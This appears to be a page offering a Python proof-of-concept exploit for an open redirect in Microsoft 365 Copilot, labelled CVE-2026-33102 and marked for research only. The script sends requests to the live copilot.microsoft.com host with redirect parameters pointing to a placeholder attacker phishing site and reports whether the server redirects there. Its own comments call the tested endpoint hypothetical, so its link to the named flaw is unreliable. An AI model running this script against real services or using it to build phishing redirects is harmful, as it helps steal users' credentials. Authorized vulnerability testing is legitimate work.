Microsoft 365 Copilot < 2026-04-23 Security Update
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-33102
# This script demonstrates the Open Redirect vulnerability in M365 Copilot.
import requests
def check_open_redirect(target_domain, payload_url):
"""
Tests if the target domain is vulnerable to open redirect.
"""
# Hypothetical vulnerable endpoint often found in web apps
# e.g., https://copilot.microsoft.com/auth/signin?redirect_url={payload}
vulnerable_endpoint = f"https://{target_domain}/redirect"
# Malicious payload pointing to an attacker-controlled site
# Encoding the URL to ensure it is passed as a parameter
params = {
'next': payload_url,
'redirect': payload_url
}
try:
print(f"[*] Testing: {vulnerable_endpoint}")
# Sending the request without following redirects to catch the 302 location
response = requests.get(vulnerable_endpoint, params=params, allow_redirects=False, timeout=10)
# Check if the response is a redirect (302, 301, 307)
if response.status_code in [301, 302, 307]:
location = response.headers.get('Location')
if location and payload_url in location:
print(f"[+] Vulnerability Confirmed!")
print(f"[+] Server redirected to: {location}")
return True
else:
print(f"[-] Redirect occurred, but not to the malicious payload.")
print(f"[-] Location: {location}")
else:
print(f"[-] No redirect detected. Status code: {response.status_code}")
except Exception as e:
print(f"[!] Error during request: {e}")
return False
if __name__ == "__main__":
# Target and Payload configuration
target = "copilot.microsoft.com" # Example target
malicious_site = "https://attacker-controlled-domain.com/phishing"
print(f"--- CVE-2026-33102 PoC ---")
check_open_redirect(target, malicious_site)